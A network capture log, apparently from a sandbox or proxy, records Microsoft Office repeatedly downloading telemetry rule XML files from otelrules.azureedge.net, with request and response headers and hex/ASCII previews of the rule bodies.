2024-10-07 19:53:19 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:19 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 01bf113a-f01e-003c-3703-178cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195319Z-1657d5bbd482tlqpvyz9e93p5400000003xg00000000w0e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:19 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49882	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:20 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3b7b7106-501e-0064-43e7-161f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195320Z-1657d5bbd48vlsxxpe15ac3q7n00000003ug00000000w7n3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49881	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:20 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 7875ffac-201e-000c-7f02-1779c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195320Z-1657d5bbd48f7nlxc7n5fnfzh000000003hg00000000npvt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49884	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:20 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 2f576d96-401e-0047-3902-178597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195320Z-1657d5bbd48t66tjar5xuq22r8000000040g000000001uvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49885	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:20 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:20 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb96d6a-f01e-003f-17e5-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195320Z-1657d5bbd482lxwq1dp2t1zwkc00000003rg000000009ffk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:20 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49883	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:20 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:20 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 3c7823fd-401e-0015-0c60-170e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195320Z-1657d5bbd48dfrdj7px744zp8s00000003pg00000000hxat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49890	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:21 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:21 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: c2f609cb-201e-0003-75fd-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195321Z-1657d5bbd48cpbzgkvtewk0wu0000000043g00000000459h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:21 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49886	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:21 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f5ee0945-901e-0083-4202-17bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195321Z-1657d5bbd48sqtlf1huhzuwq7000000003n000000000pwy6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49888	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:21 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:21 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:21 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5ff6bd9-301e-005d-3af2-16e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195321Z-1657d5bbd48xlwdx82gahegw40000000041g00000000ybfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:21 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49889	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:21 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:21 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 0c165d1d-a01e-000d-7dfe-16d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195321Z-1657d5bbd4824mj9d6vp65b6n400000004700000000050ae x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:21 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49887	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:21 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:21 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 0607cd43-401e-0078-1b00-174d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195321Z-1657d5bbd487nf59mzf5b3gk8n00000003pg000000002b0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:21 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49891	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:22 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:22 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 33b4d0ae-a01e-0032-35ff-161949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195322Z-1657d5bbd48vhs7r2p1ky7cs5w00000004a0000000007aer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:22 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49893	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
